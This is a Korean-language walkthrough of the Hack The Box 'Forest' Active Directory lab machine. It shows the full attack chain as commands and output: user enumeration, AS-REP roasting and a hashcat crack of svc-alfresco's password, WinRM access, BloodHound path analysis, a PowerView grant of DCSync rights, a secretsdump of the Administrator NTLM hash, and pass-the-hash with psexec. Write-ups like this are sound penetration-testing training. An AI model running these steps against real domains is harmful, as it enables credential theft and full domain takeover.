Active Directory Pentest 스킬을 강화하기 위해서 HTB AD 관련 머신 중 하나 인 Forest를 진행 및 해결하는 과정에 대한 글
Port Scan
Forest 머신 관련 대상으로 포트스캔을 수행한 결과 Windows AD 환경으로 확인되며, AD 환경을 운영하며 쉽게 오픈이 되어있을 수 있는 포트들이 존재하는 것을 확인할 수 있다
또한 htb.local 도메인으로 운영되고 있음도 확인이 가능하다
nmap -sV -sS 10.10.10.161
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# nmap -sV -sC 10.10.10.161
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-04 20:51 KST
Nmap scan report for 10.10.10.161
Host is up (0.26s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-04 11:58:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 173.97 seconds
SMB
이전 Nmap 포트스캔을 활용하여 가장 눈이 가는 open 되어있는 포트에 경우에는 smb, kerberos, ldap 포트인데, smb 포트부터 살펴보도록 하자
smb 포트가 열려있을 경우 smb banner grabbing과 anonymous access가 가능한지 여부 파악을 먼저 수행할 수 있다
crackmapexec을 활용하여 smb banner grabbing과 anonymous access 가능 여부를 파악해보자
crackmapexec smb 10.10.10.161 -u '' -p ''
crackmapexec smb 10.10.10.161 -u 'test' -p ''
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# crackmapexec smb 10.10.10.161 -u '' -p ''
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [+] htb.local\:
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# crackmapexec smb 10.10.10.161 -u 'test' -p ''
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [-] htb.local\test: STATUS_LOGON_FAILURE
crackmapexec을 활용하여 결과를 확인해 본 결과 Windows Server 2016 환경임을 확인이 가능하며, guest session으로는 접근이 불가함을 확인할 수 있었다
smbclient -U "" -N -L 10.10.10.161
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# smbclient -U "" -N -L 10.10.10.161
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_IO_TIMEOUT)
null session으로 smb 공유 목록을 획득하려고 했으나 실패한 것을 확인할 수 있다
RPC
rpcdump을 활용하여 노출된 rpc service들을 확인해 보자
impacket-rpcdump 10.10.10.161 | grep "Protocol: \["
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# impacket-rpcdump 10.10.10.161 | grep "Protocol: \["
Protocol: [MS-RSP]: Remote Shutdown Protocol
Protocol: [MS-EVEN6]: EventLog Remoting Protocol
Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol
Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol
Protocol: [MS-TSCH]: Task Scheduler Service Remoting Protocol
Protocol: [MS-FASP]: Firewall and Advanced Security Protocol
Protocol: [MS-NRPC]: Netlogon Remote Protocol
Protocol: [MS-RAA]: Remote Authorization API Protocol
Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol
Protocol: [MS-LSAT]: Local Security Authority (Translation Methods) Remote
Protocol: [MS-NSPI]: Name Service Provider Interface (NSPI) Protocol
Protocol: [MS-DRSR]: Directory Replication Service (DRS) Remote Protocol
Protocol: [MS-CMPO]: MSDTC Connection Manager:
Protocol: [MS-SCMR]: Service Control Manager Remote Protocol
Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management
Protocol: [MS-FRS2]: Distributed File System Replication Protocol
impacket-rpcdump을 활용해 본 결과 눈여겨볼 수 있는 결과는 Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol인데 SAMR 서비스가 노출된 것을 확인하였으므로, rpcclient를 활용하여 Domain User enumeration이 가능한지 확인을 해보자
※ SAMR Service란?
[MS-SAMR]: Overview
The Security Account Manager (SAM) Remote Protocol (Client-to-Server) provides management functionality for an account
learn.microsoft.com
rpcclient -U "" -N 10.10.10.161
enumdomusers
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
rpcclient를 활용하여 획득한 유저 목록이다
해당 획득한 유저 목록은 Kerberos AS-REP 혹은 Roasting 공격에 활용할 수 있다
LDAP
nmap 스캔 결과 내 오픈되어 있던 LDAP 쪽에도 정보 획득을 시도해 보자
ldapsearch를 활용하여 진행을 할 것이다
가장 먼저 우리가 해볼 것은 ldapsearch를 활용해서 null binding을 시도해 보자
ldapsearch -H "ldap://10.10.10.161:389" -b "DC=htb, DC=local" -D "" -w ""


ldapsearch를 활용하여 null binding을 요청해 본 결과 성공 했음을 알 수 있다
해당 ldap 요청을 통해 도메인 내 존재하는 object들의 정보들을 쿼리화 하여 정보 수집이 가능하므로 공격이 매우 용이해진다
사용자 그룹, 컴퓨터, 사용자 계정, 속성, 도메인, 암호정책 등 전체 목록을 검색 및 조건을 걸어 해당되는 계정을 조회할 수 있다
ldapsearch -LL -H "ldap://10.10.10.161:389" -x -b- "dc=htb,dc=local" 'objectclass=user' samaccountname | egrep -i ^samaccountname | awk -F ":" '{print $2}'

AS-REP Roasting
이전 ldapsearch를 활용하여 ldap 접근이 가능함을 확인하였으므로, impacket-GetNPUsers을 활용하여 AS-REP Roasting에 취약한 유저를 찾아내어 보자
impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -request
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -request
Impacket v0.13.0.dev0+20250430.174957.756ca96e - Copyright Fortra, LLC and its affiliated companies
Name MemberOf PasswordLastSet LastLogon UAC
------------ ------------------------------------------------------ -------------------------- -------------------------- --------
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2025-05-04 21:01:28.936277 2019-09-23 20:09:47.931194 0x410200
$krb5asrep$23$svc-alfresco@HTB.LOCAL:5e60e4b033919e9239892330c5087c18$d15576e76f920fb96dfaa43927d11e071c3ae267c02769a9cb142617bbbd2bf3cd8ba9295f242838b011e7137764b6035fe6150eaafbcd1e83fa2bd765d22d1b95be55fc54c0a609cdb8a0c823eb2ab63f7e84a6f07844ceb90baefa4953814bc195139da7aa853f37bf24ccb2e38092485bc8a48ec0cf7cd39f2953d7c50b747690977ddc9ead0f38826d887a184fa43996322edd9af9aa40ced16532b9bb92c76558d65a0a1564fb41c044dbd34c107d2e73fcf9bf7170826e55ac326d5ada4b2d309bcaf26f139d6ddbf93f32375a26a4e96000b97dbc060fd41a5521c8dbefaff7e3a922
AS-REP Roasting에 취약한 유저를 찾아낸 후 -request 옵션을 추가하여 TGT를 획득하였는데
획득한 TGT를 hashcat을 활용하여 크랙을 시도해 보자
hashcat -a 0 -m 18200 ./svc_hash.txt /usr/share/wordlists/rockyou.txt
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# hashcat -a 0 -m 18200 ./svc_hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
$krb5asrep$23$svc-alfresco@HTB.LOCAL:5e60e4b033919e9239892330c5087c18$d15576e76f920fb96dfaa43927d11e071c3ae267c02769a9cb142617bbbd2bf3cd8ba9295f242838b011e7137764b6035fe6150eaafbcd1e83fa2bd765d22d1b95be55fc54c0a609cdb8a0c823eb2ab63f7e84a6f07844ceb90baefa4953814bc195139da7aa853f37bf24ccb2e38092485bc8a48ec0cf7cd39f2953d7c50b747690977ddc9ead0f38826d887a184fa43996322edd9af9aa40ced16532b9bb92c76558d65a0a1564fb41c044dbd34c107d2e73fcf9bf7170826e55ac326d5ada4b2d309bcaf26f139d6ddbf93f32375a26a4e96000b97dbc060fd41a5521c8dbefaff7e3a922:s3rvice
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:5e60e4b033919e...e3a922
Time.Started.....: Sun May 4 21:17:18 2025 (3 secs)
Time.Estimated...: Sun May 4 21:17:21 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1798.3 kH/s (1.50ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4085760/14344385 (28.48%)
Rejected.........: 0/4085760 (0.00%)
Restore.Point....: 4079616/14344385 (28.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: s9039554h -> s3r3ndipit
Started: Sun May 4 21:17:17 2025
Stopped: Sun May 4 21:17:22 2025
svc-alfresco:s3rvice
hashcat을 실행해본 결과 크랙을 성공하였으며, svc-alfresco:s3rvice라는 값을 획득이 가능하다
Exploit
이전까지 수집한 정보들을 통해 svc-alfresco라는 계정으로 접근 시도를 해보자
crackmapexec를 활용해서 svc-alfresco 계정을 winrm으로 접근이 가능한지 확인해보자
crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice
crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice
┌──(root㉿kimc0gi)-[/mnt/c/Users/kimcogi/Desktop/htb/Active_Directory/forest]
└─# crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice
SMB 10.10.10.161 5985 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
HTTP 10.10.10.161 5985 FOREST [*] http://10.10.10.161:5985/wsman
WINRM 10.10.10.161 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
winrm에 접근이 가능하며 여기서 우리는 evil-winrm을 활용하여 winrm에 접속해 내부적으로 추가행위들을 진행하려고 한다
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

여기서 User의 flag를 획득이 가능하다

정확한 AD server의 내부 구조를 확인하기 위해 BloodHound와 SharpHound를 활용하여 구조 파악을 해보자
BloodHound, SharpHound를 활용하는 이유는 사용자 및 그룹, 컴퓨터, Trust 관계, Session, 로컬 관리자, ACL 등을 열거하기 위해 사용하며, 해당 부분들을 그래프 형태로 시각화하여 분석하이 용이하도록 하기 위해 사용한다
BloodHound : 4.3.1 Ver
SharpHound : 1.1.0 Ver (BloodHound 4.3.1 Ver와의 호환을 위해 1.1.0 버전을 활용하였다)
가장 먼저 SharHound를 업로드를 해주었다

이후 SharpHound를 활용하여 모든 정보들을 .zip 형태로 획득할 수 있게 실행
./SharpHound.exe --CollectionMethods All

SharpHound를 활용하여 얻은 데이터를 BloodHound 내 시각화 시도
BloodHound Option : Shortest Paths to High Value Targets

BloodHound 내에서 가장 먼저 눈여겨봐야 할 것은 우리가 접근한 계정인 svc-alfresco이다


svc-alfresco를 시작점으로 잡은 후 svc-alfresco가 도메인 내 어떤 그룹에 속해있고 어떤 권한을 가지는지, 권한 상승 루트가 존재하는지 확인해 보자
SVC-ALFRESCO
└─(MemberOf)→ SERVICE ACCOUNTS
└─(MemberOf)→ PRIVILEGED IT ACCOUNTS
└─(MemberOf)→ ACCOUNT OPERATORS
└─(GenericAll)→ EXCHANGE WINDOWS PERMISSIONS
└─(WriteDACL)→ HTB.LOCAL
svc-alfresco가 HTB.LOCAL 도메인 내에 속해있는 것에 대해서 확인해 본 결과이다
여기서 중점적으로 봐야 하는 키워드는 svc-alfresco가 AD Group-chain을 따라가게 되면 Domain(HTB.LOCAL)에 중요권한을 간접적으로 가지고 있다
svc-alfresco의 경우 Account Operators 그룹의 구성원으로 존재하고 있으며(MemberOf)
Account Operators은 Exchange Windows Permission 그룹에 대한 권한을 가지고 있다(GenericAll)
이 말은 즉슨 Account Operators는 Exchange Windows Permission 그룹의 구성원/설정 전체를 수정, 통제가 가능하다는 의미이다
Exchange Windows Permission은 Domain(HTB.LOCAL)에 대한 WriteDACL 권한을 가지고 있는데 Domain(HTB.LOCAL)의 DACL(Discretionary Access Control List, 보안 권한 목록)을 변경할 수 있음을 의미한다
WriteDACL 권한을 활용하여 DCSync 수행이 가능한 사용자를 추가할 수 있다
즉, Domain(HTB.LOCAL)에 대한 임의의 사용자, 그룹에 대한 특정 권한 직접 할당, 위임이 가능하다는 의미이다
(여기가 우리가 Admin 권한을 가져오는 공격 포인트로 잡으면 될 것 같다)
DACL..?, WriteDACL..?
DACL (Discretionary Access Control List)
- Active Directory 객체(사용자, 그룹, 도메인, 컴퓨터 등)에 대해 "누가 어떤 권한을 가지는지 정의하는 목록"을 의미
Windows 보안 모델에서는 두 가지 리스트를 가지고 있다
DACL(Allow, Deny 권한 목록), SACL(Security Access Control List)
여기서 DACL은 여러 개의 ACE(Access Control Entry)로 구성되어 있다
* SID (Security Identifier) : 권한을 가진 사용자 또는 그룹
* Access Type : Allow, Deny
* Access Mask : 어떤 작업을 허용할지에 대한 권한 (읽기, 쓰기, 복제, 삭제 등)
* Inheritance : 하위 객체에 권한 상속 여부
ex)
Allow S-1-5-21-xxxx GenericRead, GenericWrite
Allow S-1-5-21-yyyy Replicating Directory Changes
Allow S-1-5-21-zzzz WriteDACL
WriteDACL은 DACL 자체를 변경할 수 있는 권한을 의미한다
즉, 자신이 아닌 다른 사용자/그룹에 어떤 권한을 줄지 결정할 수 있는 권한을 의미한다
DCSync..?
DCSync : 다른 사용자의 인증 정보를 동기화(복사) 하는 공격 기법
DCSync(DS-Replication-Get-Changes) 공격 기법은 특정적인 권한이 필요하다
* Replicating Directory Changes : 도메인 데이터 변경 감시 권한
* Replicating Directory Changes All : 전체 AD data에 접근 가능한 변경 감시 권한
* Replicating Directory Changes In Filltered Set
즉 쉽게 풀어보자면 모든 Directory 변경 사항 복제, 필터링된 세트의 Directory 변경 사항 복제가 가능한 권한을 의미하는데 해당 권한은 Domain Controller 혹은 Admin 계정에만 주어지는 권한이나, WriteDACL 권한이 존재할 경우 해당 권한을 공격자에게 위임하는 것이 가능하다
DCSync (Access shell(Admin))
winrm을 활용하여 내가 사용할 사용자 생성 및 필수 그룹에 생성한 사용자를 추가하자
svc-alfresco 계정으로 winrm 접근한 상태
net user kimcogi password /add /domain
net group "Exchange Windows Permissions" kimcogi /add
net localgroup "Remote Management Users" kimcogi /add

kimcogi 계정을 생성한 후 PowerView.ps1 스크립트 업로드
PowerView.ps1 스크립트 업로드 후 진행
git clone https://github.com/PowerShellMafia/PowerSploit/ -b dev
upload ~/{로컬 내 설치 경로}/Recon/PowerView.ps1
PowerView.ps1 스크립트를 svc-alfresco 계정 내 winrm 업로드 완료 한 후 kimcogi 계정 내 권한 부여 시도(DCSync 권한 부여)
. .\PowerView.ps1
$SecPass = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb\kimcogi', $SecPass)
Add-DomainObjectAcl -PrincipalIdentity "kimcogi" -Rights DCSync -Credential $Cred
$SecPass = ConverTo-SecureString 'password' -AsPlainText -Force
-> kimcogi 계정의 비밀번호를 SecureString 형태로 전환 (여기서 'password'는 이전 생성된 kimcogi 계정의 비밀번호)
$Cred = New-Object System.Management.Automation.PSCredential('htb\kimcogi', $SecPass)
-> kimcogi 계정의 PSCredential 객체 생성
Add-DomainObjectAcl -PrincipalIdentity "kimcogi" -Rights DCSync -Credential $Cred
-> kimcogi 계정에 Domain(HTB.LOCAL)에 대한 Replicating Directory Changes, Replicating Directory Changes All, Replicating Directory Changes In Filtered Set 권한 부여 = DCSync 권한 부여를 통한 공격 수행 가능 상태로 변환

이후 impacket-secretsdump를 활용하여 DCSync 권한이 있는 kimcogi 계정으로 Administrator 계정의 NTLM 해시 덤프 시도
* secretsdump.py, mimikatz를 활용해도 된다
Administrator 계정의 NTLM 해시 덤프가 완료되었을 경우 root flag를 획득이 가능하다
impacket-secretsdump htb/kimcogi@10.10.10.161 -just-dc-user Administrator -just-dc-ntlm
password : password
...
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
...
impacket-psexec Administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

Administrator NTLM 해시 덤프 후 관리자 해시를 활용하여 로그인까지 완료되었을 경우 Root flag 획득이 가능하다

